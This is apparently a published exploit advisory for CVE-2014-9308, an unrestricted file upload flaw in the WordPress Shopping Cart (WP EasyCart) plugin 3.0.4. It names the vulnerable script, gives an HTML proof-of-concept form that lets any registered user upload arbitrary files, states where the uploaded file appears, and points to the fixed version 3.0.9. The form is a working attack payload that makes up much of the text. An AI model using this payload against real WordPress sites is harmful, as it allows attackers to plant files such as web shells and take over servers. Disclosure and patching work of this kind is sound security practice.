WordPress Plugin Shopping Cart 3.0.4 – Unrestricted Arbitrary File Upload
<!-- # Exploit Title: WordPress Shopping Cart 3.0.4 Unrestricted File Upload # Date: 29-10-2014 # Software Link: https://wordpress.org/plugins/wp-easycart/ # Exploit Author: Kacper Szurek # Contact: http://twitter.com/KacperSzurek # Website: http://security.szurek.pl/ # CVE: CVE-2014-9308 # Category: webapps 1. Description Any registered user can upload any file because of incorrect if statement inside banneruploaderscript.php http://security.szurek.pl/wordpress-shopping-cart-304-unrestricted-file-upload.html 2. Proof of Concept Login as regular user (created using wp-login.php?action=register): --> <form action="http://wordpress-install/wp-content/plugins/wp-easycart/inc/amfphp/administration/banneruploaderscript.php" method="post" enctype="multipart/form-data"> <input type="hidden" name="datemd5" value="1"> <input type="file" name="Filedata"> <input value="Upload!" type="submit"> </form> <!-- File will be visible: http://wordpress-install/wp-content/plugins/wp-easycart/products/banners/%filename%_1.%fileextension% 3. Solution: Update to version 3.0.9 https://downloads.wordpress.org/plugin/wp-easycart.3.0.9.zip --> |